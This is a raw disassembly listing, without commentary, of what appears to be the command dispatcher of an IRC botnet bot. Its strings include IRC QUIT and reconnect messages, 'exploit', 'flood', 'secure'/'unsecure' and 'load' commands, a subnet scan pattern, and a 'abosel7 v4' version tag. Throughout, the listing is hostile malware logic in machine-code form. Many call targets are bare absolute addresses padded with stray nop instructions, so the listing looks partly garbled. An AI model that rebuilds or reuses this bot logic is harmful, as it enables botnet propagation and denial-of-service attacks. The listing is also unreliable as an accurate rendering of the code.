		jle	short loc_403FCB
		push	offset unk_42C2C4
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42C29C
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42C27C
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 2830E52h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854


loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C264
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42C244
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C224
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1


loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C200
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_4041D3


loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		call	near ptr 2820566h
		nop
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------


loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		nop
		call	near ptr 2830047h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C1C4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------


loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1A8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB6BC
		call	dword_4CB57C
		call	sub_418359
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42C18C
		jmp	short loc_404285
; ---------------------------------------------------------------------------


loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42C170


loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C158
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40438D


loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_404377
; ---------------------------------------------------------------------------


loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		call	near ptr 2830047h
		nop
		push	eax
		push	offset unk_42C120
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42C108
		call	sub_4151AC


loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42C104
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------


loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx


loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C0E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40448F


loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_404479
; ---------------------------------------------------------------------------


loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42C0A8
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42C090


loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CB364
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42C064
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------


loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------


loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx


loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42C014
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42BFE0
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------


loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BFD0
		push	offset dword_42BFC0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BFB4
		push	offset dword_42BFA4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------


loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074


loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi


loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------


loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------


loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl


loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF7C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40470D


loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2820566h
		nop
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------


loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		nop
		call	near ptr 2830047h
		push	eax
		push	offset dword_42BF40
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------


loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084


loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF14
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		call	near ptr 282060Ah
		nop
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_404813


loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2820566h
		nop
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------


loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42BED4
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856


loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1


loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42BEA0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_404911


loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		call	near ptr 2830047h
		nop
		push	eax
		push	offset dword_42BE64
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE


loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42BDB4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BDA4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D080
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42BD78
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42BD4C
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42D080


loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42CFF4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CEDD8, ebx
		jz	short loc_404A4A
		push	offset dword_4CE7B8


loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42BD10
		jmp	loc_404AE0
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CB664
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42BCD0
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------


loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE7B8
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CEDD8, 1
		pop	ecx
		push	esi
		push	offset unk_42BCA4


loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------


loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC6C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_404BE6


loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		call	near ptr 2830047h
		nop
		push	eax
		push	offset unk_42BC2C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		nop
		call	near ptr 2830E52h
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFD
